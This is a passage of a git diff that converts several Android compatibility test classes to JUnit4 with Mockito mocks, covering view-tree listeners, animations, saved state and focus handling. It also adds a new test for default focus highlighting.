+        verifyZeroInteractions(listener);
+    }
+
+    @LargeTest
+    @Test
+    public void testRemoveOnGlobalFocusChangeListener() throws Throwable {
         final View view1 = mActivity.findViewById(R.id.view1);
         final View view2 = mActivity.findViewById(R.id.view2);
 
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                view1.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(view1::requestFocus);
 
-        mViewTreeObserver = layout.getViewTreeObserver();
-        final MockOnGlobalFocusChangeListener listener = new MockOnGlobalFocusChangeListener();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
+        final ViewTreeObserver.OnGlobalFocusChangeListener listener =
+                mock(ViewTreeObserver.OnGlobalFocusChangeListener.class);
         mViewTreeObserver.addOnGlobalFocusChangeListener(listener);
-        assertFalse(listener.hasCalledOnGlobalFocusChanged());
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                view2.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(view2::requestFocus);
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return listener.hasCalledOnGlobalFocusChanged()
-                        && listener.oldFocus == view1 && listener.newFocus == view2;
-            }
-        }.run();
+        verify(listener, within(TIMEOUT_MS)).onGlobalFocusChanged(view1, view2);
 
-        listener.reset();
+        reset(listener);
         mViewTreeObserver.removeOnGlobalFocusChangeListener(listener);
-        assertFalse(listener.hasCalledOnGlobalFocusChanged());
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                view1.requestFocus();
-            }
-        });
+        mActivityRule.runOnUiThread(view1::requestFocus);
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !listener.hasCalledOnGlobalFocusChanged();
-            }
-        }.run();
+        // Since we've unregistered our listener, we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
+        verifyZeroInteractions(listener);
     }
 
+    @LargeTest
+    @Test
     public void testRemoveOnPreDrawListener() {
-        final LinearLayout layout = (LinearLayout) mActivity.findViewById(R.id.linearlayout);
-        mViewTreeObserver = layout.getViewTreeObserver();
+        mViewTreeObserver = mLinearLayout.getViewTreeObserver();
 
-        MockOnPreDrawListener listener = new MockOnPreDrawListener();
-        assertFalse(listener.hasCalledOnPreDraw());
+        final ViewTreeObserver.OnPreDrawListener listener =
+                mock(ViewTreeObserver.OnPreDrawListener.class);
         mViewTreeObserver.addOnPreDrawListener(listener);
         mViewTreeObserver.dispatchOnPreDraw();
-        assertTrue(listener.hasCalledOnPreDraw());
+        verify(listener, times(1)).onPreDraw();
 
-        listener.reset();
-        assertFalse(listener.hasCalledOnPreDraw());
+        reset(listener);
         mViewTreeObserver.removeOnPreDrawListener(listener);
         mViewTreeObserver.dispatchOnPreDraw();
-        assertFalse(listener.hasCalledOnPreDraw());
+        // Since we've unregistered our listener, we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
+        verifyZeroInteractions(listener);
     }
 
-    public void testRemoveOnTouchModeChangeListener() {
-        final Button b = (Button) mActivity.findViewById(R.id.button1);
+    @LargeTest
+    @Test
+    public void testRemoveOnTouchModeChangeListener() throws Throwable {
         // let the button be touch mode.
-        TouchUtils.tapView(this, b);
+        CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mButton);
 
-        mViewTreeObserver = b.getViewTreeObserver();
+        mViewTreeObserver = mButton.getViewTreeObserver();
 
-        MockOnTouchModeChangeListener listener = new MockOnTouchModeChangeListener();
+        final ViewTreeObserver.OnTouchModeChangeListener listener =
+                mock(ViewTreeObserver.OnTouchModeChangeListener.class);
         mViewTreeObserver.addOnTouchModeChangeListener(listener);
-        assertFalse(listener.hasCalledOnTouchModeChanged());
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                b.requestFocusFromTouch();
-            }
-        });
+        mActivityRule.runOnUiThread(mButton::requestFocusFromTouch);
         mInstrumentation.waitForIdleSync();
-        final MockOnTouchModeChangeListener l = listener;
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return l.hasCalledOnTouchModeChanged();
-            }
-        }.run();
 
-        listener = new MockOnTouchModeChangeListener();
-        assertFalse(listener.hasCalledOnTouchModeChanged());
-        mInstrumentation.runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                b.requestFocusFromTouch();
-            }
-        });
+        verify(listener, within(TIMEOUT_MS)).onTouchModeChanged(anyBoolean());
+
+        reset(listener);
+        mViewTreeObserver.removeOnTouchModeChangeListener(listener);
+        mActivityRule.runOnUiThread(mButton::requestFocusFromTouch);
         mInstrumentation.waitForIdleSync();
-        final MockOnTouchModeChangeListener l2 = listener;
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !l2.hasCalledOnTouchModeChanged();
-            }
-        }.run();
+
+        // Since we've unregistered our listener we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
+        verifyZeroInteractions(listener);
     }
 
+    @LargeTest
+    @Test
     public void testAccessOnScrollChangedListener() throws Throwable {
         layout(R.layout.scrollview_layout);
         final ScrollView scrollView = (ScrollView) mActivity.findViewById(R.id.scroll_view);
 
         mViewTreeObserver = scrollView.getViewTreeObserver();
 
-        final MockOnScrollChangedListener listener = new MockOnScrollChangedListener();
-        assertFalse(listener.hasCalledOnScrollChanged());
+        final ViewTreeObserver.OnScrollChangedListener listener =
+                mock(ViewTreeObserver.OnScrollChangedListener.class);
         mViewTreeObserver.addOnScrollChangedListener(listener);
 
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scrollView.fullScroll(View.FOCUS_DOWN);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> scrollView.fullScroll(View.FOCUS_DOWN));
         mInstrumentation.waitForIdleSync();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return listener.hasCalledOnScrollChanged();
-            }
-        }.run();
+        verify(listener, within(TIMEOUT_MS)).onScrollChanged();
 
-        listener.reset();
-        assertFalse(listener.hasCalledOnScrollChanged());
+        reset(listener);
 
         mViewTreeObserver.removeOnScrollChangedListener(listener);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                scrollView.fullScroll(View.FOCUS_UP);
-            }
-        });
-        assertFalse(listener.hasCalledOnScrollChanged());
-    }
-
-    private class MockOnGlobalFocusChangeListener implements OnGlobalFocusChangeListener {
-        private boolean mCalledOnGlobalFocusChanged = false;
-        View oldFocus;
-        View newFocus;
-
-        @Override
-        public void onGlobalFocusChanged(View oldFocus, View newFocus) {
-            mCalledOnGlobalFocusChanged = true;
-            this.oldFocus = oldFocus;
-            this.newFocus = newFocus;
-        }
-
-        public boolean hasCalledOnGlobalFocusChanged() {
-            return mCalledOnGlobalFocusChanged;
-        }
-
-        public void reset() {
-            mCalledOnGlobalFocusChanged = false;
-            oldFocus = null;
-            newFocus = null;
-        }
-    }
-
-    private class MockOnGlobalLayoutListener implements OnGlobalLayoutListener {
-        private boolean mCalledOnGlobalLayout = false;
-
-        @Override
-        public void onGlobalLayout() {
-            mCalledOnGlobalLayout = true;
-        }
-
-        public boolean hasCalledOnGlobalLayout() {
-            return mCalledOnGlobalLayout;
-        }
-
-        public void reset() {
-            mCalledOnGlobalLayout = false;
-        }
-    }
-
-    private class MockOnPreDrawListener implements OnPreDrawListener {
-        private boolean mCalledOnPreDraw = false;
-
-        @Override
-        public boolean onPreDraw() {
-            mCalledOnPreDraw = true;
-            return true;
-        }
-
-        public boolean hasCalledOnPreDraw() {
-            return mCalledOnPreDraw;
-        }
-
-        public void reset() {
-            mCalledOnPreDraw = false;
-        }
-    }
-
-    private class MockOnTouchModeChangeListener implements OnTouchModeChangeListener {
-        private boolean mCalledOnTouchModeChanged = false;
-
-        @Override
-        public void onTouchModeChanged(boolean isInTouchMode) {
-            mCalledOnTouchModeChanged = true;
-        }
-
-        public boolean hasCalledOnTouchModeChanged() {
-            return mCalledOnTouchModeChanged;
-        }
-    }
-
-    private static class MockOnScrollChangedListener implements OnScrollChangedListener {
-        private boolean mCalledOnScrollChanged = false;
-
-        public boolean hasCalledOnScrollChanged() {
-            return mCalledOnScrollChanged;
-        }
-
-        @Override
-        public void onScrollChanged() {
-            mCalledOnScrollChanged = true;
-        }
-
-        public void reset() {
-            mCalledOnScrollChanged = false;
-        }
+        mActivityRule.runOnUiThread(() -> scrollView.fullScroll(View.FOCUS_UP));
+        // Since we've unregistered our listener, we expect it to not be called even after
+        // we've waited for a couple of seconds
+        SystemClock.sleep(TIMEOUT_MS);
+        verifyZeroInteractions(listener);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/View_AnimationTest.java b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
index 07abb6f..81250ac 100644
--- a/tests/tests/view/src/android/view/cts/View_AnimationTest.java
+++ b/tests/tests/view/src/android/view/cts/View_AnimationTest.java
@@ -16,41 +16,58 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
-import android.view.animation.Animation;
 import android.view.animation.TranslateAnimation;
 import android.view.animation.cts.AnimationTestUtils;
 
-import android.view.cts.R;
+import com.android.compatibility.common.util.PollingCheck;
 
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link View}.
  */
-public class View_AnimationTest extends ActivityInstrumentationTestCase2<ViewTestCtsActivity> {
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class View_AnimationTest {
 
     private static final int TIME_OUT = 5000;
     private static final int DURATION = 2000;
 
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
     private TranslateAnimation mAnimation;
 
-    public View_AnimationTest() {
-        super("android.view.cts", ViewTestCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<ViewTestCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ViewTestCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mAnimation =  new TranslateAnimation(0.0f, 10.0f, 0.0f, 10.0f);
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mAnimation = new TranslateAnimation(0.0f, 10.0f, 0.0f, 10.0f);
         mAnimation.setDuration(DURATION);
     }
 
+    @Test
     public void testAnimation() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
         // set null animation
@@ -58,34 +75,29 @@
         assertNull(view.getAnimation());
 
         view.setAnimation(mAnimation);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                view.invalidate();
-            }
-        });
+        mActivityRule.runOnUiThread(view::invalidate);
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), view, mAnimation, TIME_OUT);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, view, mAnimation,
+                TIME_OUT);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testStartAnimationNull() {
+        final View view = mActivity.findViewById(R.id.mock_view);
+        view.startAnimation(null);
+    }
+
+    @Test
     public void testStartAnimation() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
-        // start null animation
-        try {
-            view.startAnimation(null);
-            fail("did not throw NullPointerException when start null animation");
-        } catch (NullPointerException e) {
-            // expected
-        }
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                view.startAnimation(mAnimation);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> view.startAnimation(mAnimation));
 
-        AnimationTestUtils.assertRunAnimation(getInstrumentation(), view, mAnimation, TIME_OUT);
+        AnimationTestUtils.assertRunAnimation(mInstrumentation, mActivityRule, view, mAnimation,
+                TIME_OUT);
     }
 
+    @Test
     public void testClearBeforeAnimation() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
         assertFalse(mAnimation.hasStarted());
@@ -94,39 +106,28 @@
 
         assertSame(mAnimation, view.getAnimation());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                view.clearAnimation();
-                view.invalidate();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.clearAnimation();
+            view.invalidate();
         });
 
-        Thread.sleep(TIME_OUT);
+        SystemClock.sleep(TIME_OUT);
         assertFalse(mAnimation.hasStarted());
         assertNull(view.getAnimation());
     }
 
+    @Test
     public void testClearDuringAnimation() throws Throwable {
         final View view = mActivity.findViewById(R.id.mock_view);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                view.startAnimation(mAnimation);
-                assertNotNull(view.getAnimation());
-            }
+        mActivityRule.runOnUiThread(() -> {
+            view.startAnimation(mAnimation);
+            assertNotNull(view.getAnimation());
         });
 
-        new PollingCheck(TIME_OUT) {
-            @Override
-            protected boolean check() {
-                return mAnimation.hasStarted();
-            }
-        }.run();
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                view.clearAnimation();
-            }
-        });
-        Thread.sleep(TIME_OUT);
+        PollingCheck.waitFor(TIME_OUT, mAnimation::hasStarted);
+
+        mActivityRule.runOnUiThread(view::clearAnimation);
+        SystemClock.sleep(TIME_OUT);
         assertTrue(mAnimation.hasStarted());
         assertTrue(mAnimation.hasEnded());
         assertNull(view.getAnimation());
diff --git a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
index ce64a18..74c240b 100644
--- a/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
+++ b/tests/tests/view/src/android/view/cts/View_BaseSavedStateTest.java
@@ -16,15 +16,90 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.verify;
 
 import android.os.Parcel;
-import android.test.InstrumentationTestCase;
+import android.os.Parcelable;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.AbsSavedState;
 import android.view.View.BaseSavedState;
 
-public class View_BaseSavedStateTest extends InstrumentationTestCase {
-    public void testConstructors() {
-        BaseSavedState state = new BaseSavedState(Parcel.obtain());
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-        new BaseSavedState(state);
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class View_BaseSavedStateTest {
+    @Test(expected=IllegalArgumentException.class)
+    public void testConstructorNullParcelable() {
+        new BaseSavedState((Parcelable) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullParcel() {
+        new BaseSavedState((Parcel) null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullParcelAndLoader() {
+        new BaseSavedState(null, null);
+    }
+
+    @Test
+    public void testConstructors() {
+        BaseSavedState superState = new BaseSavedState(Parcel.obtain());
+        assertEquals(AbsSavedState.EMPTY_STATE, superState.getSuperState());
+
+        BaseSavedState s = new BaseSavedState(superState);
+        assertEquals(superState, s.getSuperState());
+
+        Parcel source = Parcel.obtain();
+        source.writeParcelable(superState, 0);
+        source.setDataPosition(0);
+        s = new BaseSavedState(source);
+        assertTrue(s.getSuperState() instanceof BaseSavedState);
+
+        ClassLoader loader = BaseSavedState.class.getClassLoader();
+        source = Parcel.obtain();
+        source.writeParcelable(superState, 0);
+        source.setDataPosition(0);
+        s = new BaseSavedState(source, loader);
+        assertTrue(s.getSuperState() instanceof BaseSavedState);
+    }
+
+    @Test
+    public void testCreator() {
+        int size = 10;
+        BaseSavedState[] array = BaseSavedState.CREATOR.newArray(size);
+        assertNotNull(array);
+        assertEquals(size, array.length);
+        for (BaseSavedState state : array) {
+            assertNull(state);
+        }
+
+        BaseSavedState state = new BaseSavedState(AbsSavedState.EMPTY_STATE);
+        Parcel parcel = Parcel.obtain();
+        state.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        BaseSavedState unparceled = BaseSavedState.CREATOR.createFromParcel(parcel);
+        assertNotNull(unparceled);
+        assertEquals(AbsSavedState.EMPTY_STATE, unparceled.getSuperState());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        Parcelable superState = mock(Parcelable.class);
+        BaseSavedState savedState = new BaseSavedState(superState);
+        Parcel dest = Parcel.obtain();
+        int flags = 2;
+        savedState.writeToParcel(dest, flags);
+        verify(superState).writeToParcel(eq(dest), eq(flags));
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
new file mode 100644
index 0000000..7f062ad
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/View_DefaultFocusHighlightTest.java
@@ -0,0 +1,170 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.content.res.ColorStateList;
+import android.graphics.Color;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.RippleDrawable;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.View;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.ListView;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_DefaultFocusHighlightTest {
+
+    @Rule
+    public ActivityTestRule<DefaultFocusHighlightCtsActivity> mActivityRule =
+            new ActivityTestRule<>(DefaultFocusHighlightCtsActivity.class);
+
+    @UiThreadTest
+    @Test
+    public void testSettersAndGetters() {
+        Activity activity = mActivityRule.getActivity();
+        if (!activity.getResources().getBoolean(
+                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+            // Skip the test when config_useDefaultFocusHighlight is false
+            return;
+        }
+
+        View view = activity.findViewById(R.id.view);
+        ListView listView = (ListView) activity.findViewById(R.id.listview);
+        EditText editText = (EditText) activity.findViewById(R.id.edittext);
+        Button button = (Button) activity.findViewById(R.id.button);
+        LinearLayout linearLayout = (LinearLayout) activity.findViewById(R.id.linearlayout);
+
+        assertTrue(view.getDefaultFocusHighlightEnabled());
+        assertFalse(listView.getDefaultFocusHighlightEnabled());
+        assertFalse(editText.getDefaultFocusHighlightEnabled());
+        assertTrue(button.getDefaultFocusHighlightEnabled());
+        assertTrue(linearLayout.getDefaultFocusHighlightEnabled());
+
+        view.setDefaultFocusHighlightEnabled(false);
+        listView.setDefaultFocusHighlightEnabled(true);
+        editText.setDefaultFocusHighlightEnabled(true);
+        button.setDefaultFocusHighlightEnabled(false);
+        linearLayout.setDefaultFocusHighlightEnabled(false);
+
+        assertFalse(view.getDefaultFocusHighlightEnabled());
+        assertTrue(listView.getDefaultFocusHighlightEnabled());
+        assertTrue(editText.getDefaultFocusHighlightEnabled());
+        assertFalse(button.getDefaultFocusHighlightEnabled());
+        assertFalse(linearLayout.getDefaultFocusHighlightEnabled());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflating() {
+        Activity activity = mActivityRule.getActivity();
+        if (!activity.getResources().getBoolean(
+                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+            // Skip the test when config_useDefaultFocusHighlight is false
+            return;
+        }
+
+        View view = activity.findViewById(R.id.view_to_inflate);
+        ListView listView = (ListView) activity.findViewById(R.id.listview_to_inflate);
+        EditText editText = (EditText) activity.findViewById(R.id.edittext_to_inflate);
+        Button button = (Button) activity.findViewById(R.id.button_to_inflate);
+        LinearLayout linearLayout = (LinearLayout) activity.findViewById(
+                R.id.linearlayout_to_inflate);
+
+        assertFalse(view.getDefaultFocusHighlightEnabled());
+        assertTrue(listView.getDefaultFocusHighlightEnabled());
+        assertTrue(editText.getDefaultFocusHighlightEnabled());
+        assertFalse(button.getDefaultFocusHighlightEnabled());
+        assertFalse(linearLayout.getDefaultFocusHighlightEnabled());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsDefaultFocusHighlightNeeded() {
+        Activity activity = mActivityRule.getActivity();
+        if (!activity.getResources().getBoolean(
+                com.android.internal.R.bool.config_useDefaultFocusHighlight)) {
+            // Skip the test when config_useDefaultFocusHighlight is false
+            return;
+        }
+
+        final Button button = (Button) activity.findViewById(R.id.button_to_test_highlight_needed);
+        final ImageView imageView =
+                (ImageView) activity.findViewById(R.id.image_view_to_test_highlight_needed);
+
+        final Drawable[] drawables = new Drawable[] {
+                null,  // null
+                new ColorDrawable(Color.WHITE), // not stateful
+                new RippleDrawable(ColorStateList.valueOf(Color.WHITE), null, null) // stateful
+        };
+        final boolean[] lackFocusState = new boolean[]{
+                true, // for null
+                true, // for not stateful
+                false, // for stateful
+        };
+
+        boolean isNeeded, expected;
+
+        // View
+        for (int i = 0; i < drawables.length; i++) {
+            for (int j = 0; j < drawables.length; j++) {
+                // Turn on default focus highlight.
+                button.setDefaultFocusHighlightEnabled(true);
+                isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                expected = lackFocusState[i] && lackFocusState[j];
+                assertTrue(isNeeded == expected);
+                // Turn off default focus highlight.
+                button.setDefaultFocusHighlightEnabled(false);
+                isNeeded = button.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                assertFalse(isNeeded);
+            }
+        }
+
+        // ImageView
+        for (int k = 0; k < drawables.length; k++) {
+            imageView.setImageDrawable(drawables[k]);
+            for (int i = 0; i < drawables.length; i++) {
+                for (int j = 0; j < drawables.length; j++) {
+                    // Turn on default focus highlight.
+                    imageView.setDefaultFocusHighlightEnabled(true);
+                    isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                    expected = lackFocusState[i] && lackFocusState[j] && lackFocusState[k];
+                    assertTrue(isNeeded == expected);
+                    // Turn off default focus highlight.
+                    imageView.setDefaultFocusHighlightEnabled(false);
+                    isNeeded = imageView.isDefaultFocusHighlightNeeded(drawables[i], drawables[j]);
+                    assertFalse(isNeeded);
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
index 564620e..6bd2fa5 100644
--- a/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
+++ b/tests/tests/view/src/android/view/cts/View_FocusHandlingTest.java
@@ -16,24 +16,44 @@
 
 package android.view.cts;
 
-import android.view.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.graphics.Rect;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
 import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewRootImpl;
+import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.LinearLayout;
 
-public class View_FocusHandlingTest
-        extends ActivityInstrumentationTestCase2<FocusHandlingCtsActivity> {
-    public View_FocusHandlingTest() {
-        super("android.view.cts", FocusHandlingCtsActivity.class);
-    }
+import org.junit.Assume;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class View_FocusHandlingTest {
+    @Rule
+    public ActivityTestRule<FocusHandlingCtsActivity> mActivityRule =
+            new ActivityTestRule<>(FocusHandlingCtsActivity.class);
 
     @UiThreadTest
+    @Test
     public void testFocusHandling() {
-        Activity activity = getActivity();
+        Activity activity = mActivityRule.getActivity();
 
         View v1 = activity.findViewById(R.id.view1);
         View v2 = activity.findViewById(R.id.view2);
@@ -133,11 +153,14 @@
         v2.setVisibility(View.VISIBLE);
         v3.setVisibility(View.VISIBLE);
         v4.setVisibility(View.VISIBLE);
-        assertTrue(v1.isFocused());
+        assertEquals(ViewRootImpl.sAlwaysAssignFocus, v1.isFocused());
         assertFalse(v2.isFocused());
         assertFalse(v3.isFocused());
         assertFalse(v4.isFocused());
 
+        v1.requestFocus();
+        assertTrue(v1.isFocused());
+
         // test scenario: a view will not actually take focus if it is not focusable
         v2.setFocusable(false);
         v3.setFocusable(false);
@@ -203,4 +226,175 @@
         assertNull(v3.findFocus());
         assertNull(v4.findFocus());
     }
+
+    @UiThreadTest
+    @Test
+    public void testFocusAuto() {
+        Activity activity = mActivityRule.getActivity();
+
+        activity.getLayoutInflater().inflate(R.layout.focus_handling_auto_layout,
+                (ViewGroup) activity.findViewById(R.id.auto_test_area));
+
+        View def = activity.findViewById(R.id.focusabledefault);
+        View auto = activity.findViewById(R.id.focusableauto);
+        View click = activity.findViewById(R.id.onlyclickable);
+        View clickNotFocus = activity.findViewById(R.id.clickablenotfocusable);
+
+        assertEquals(View.FOCUSABLE_AUTO, auto.getFocusable());
+        assertFalse(auto.isFocusable());
+        assertFalse(def.isFocusable());
+        assertTrue(click.isFocusable());
+        assertFalse(clickNotFocus.isFocusable());
+
+        View test = new View(activity);
+        assertFalse(test.isFocusable());
+        test.setClickable(true);
+        assertTrue(test.isFocusable());
+        test.setFocusable(View.NOT_FOCUSABLE);
+        assertFalse(test.isFocusable());
+        test.setFocusable(View.FOCUSABLE_AUTO);
+        assertTrue(test.isFocusable());
+        test.setClickable(false);
+        assertFalse(test.isFocusable());
+
+        // Make sure setFocusable(boolean) unsets FOCUSABLE_AUTO.
+        auto.setFocusable(true);
+        assertSame(View.FOCUSABLE, auto.getFocusable());
+        auto.setFocusable(View.FOCUSABLE_AUTO);
+        assertSame(View.FOCUSABLE_AUTO, auto.getFocusable());
+        auto.setFocusable(false);
+        assertSame(View.NOT_FOCUSABLE, auto.getFocusable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testFocusableInTouchMode() {
+        final Activity activity = mActivityRule.getActivity();
+        View singleView = new View(activity);
+        assertFalse("Must not be focusable by default", singleView.isFocusable());
+        singleView.setFocusableInTouchMode(true);
+        assertSame("setFocusableInTouchMode(true) must imply explicit focusable",
+                View.FOCUSABLE, singleView.getFocusable());
+
+        activity.getLayoutInflater().inflate(R.layout.focus_handling_auto_layout,
+                (ViewGroup) activity.findViewById(R.id.auto_test_area));
+        View focusTouchModeView = activity.findViewById(R.id.focusabletouchmode);
+        assertSame("focusableInTouchMode=\"true\" must imply explicit focusable",
+                View.FOCUSABLE, focusTouchModeView.getFocusable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testHasFocusable() {
+        final Activity activity = mActivityRule.getActivity();
+        final ViewGroup group = (ViewGroup) activity.findViewById(R.id.auto_test_area);
+
+        View singleView = new View(activity);
+        group.addView(singleView);
+
+        testHasFocusable(singleView);
+
+        group.removeView(singleView);
+
+        View groupView = new FrameLayout(activity);
+        group.addView(groupView);
+
+        testHasFocusable(groupView);
+    }
+
+    private void testHasFocusable(View view) {
+        assertEquals("single view was not auto-focusable", View.FOCUSABLE_AUTO,
+                view.getFocusable());
+        assertFalse("single view unexpectedly hasFocusable", view.hasFocusable());
+        assertFalse("single view unexpectedly hasExplicitFocusable", view.hasExplicitFocusable());
+
+        view.setClickable(true);
+        assertTrue("single view doesn't hasFocusable", view.hasFocusable());
+        assertFalse("single view unexpectedly hasExplicitFocusable", view.hasExplicitFocusable());
+
+        view.setClickable(false);
+        assertFalse("single view unexpectedly hasFocusable", view.hasFocusable());
+        assertFalse("single view unexpectedly hasExplicitFocusable", view.hasExplicitFocusable());
+
+        view.setFocusable(View.NOT_FOCUSABLE);
+        assertFalse("single view unexpectedly hasFocusable", view.hasFocusable());
+        assertFalse("single view unexpectedly hasExplicitFocusable", view.hasExplicitFocusable());
+
+        view.setFocusable(View.FOCUSABLE);
+        assertTrue("single view doesn't hasFocusable", view.hasFocusable());
+        assertTrue("single view doesn't hasExplicitFocusable", view.hasExplicitFocusable());
+
+        view.setFocusable(View.FOCUSABLE_AUTO);
+        view.setFocusableInTouchMode(true);
+        assertTrue("single view doesn't hasFocusable", view.hasFocusable());
+        assertTrue("single view doesn't hasExplicitFocusable", view.hasExplicitFocusable());
+    }
+
+    private View[] getInitialAndFirstFocus(int res) throws Throwable {
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        instrumentation.setInTouchMode(false);
+        final Activity activity = mActivityRule.getActivity();
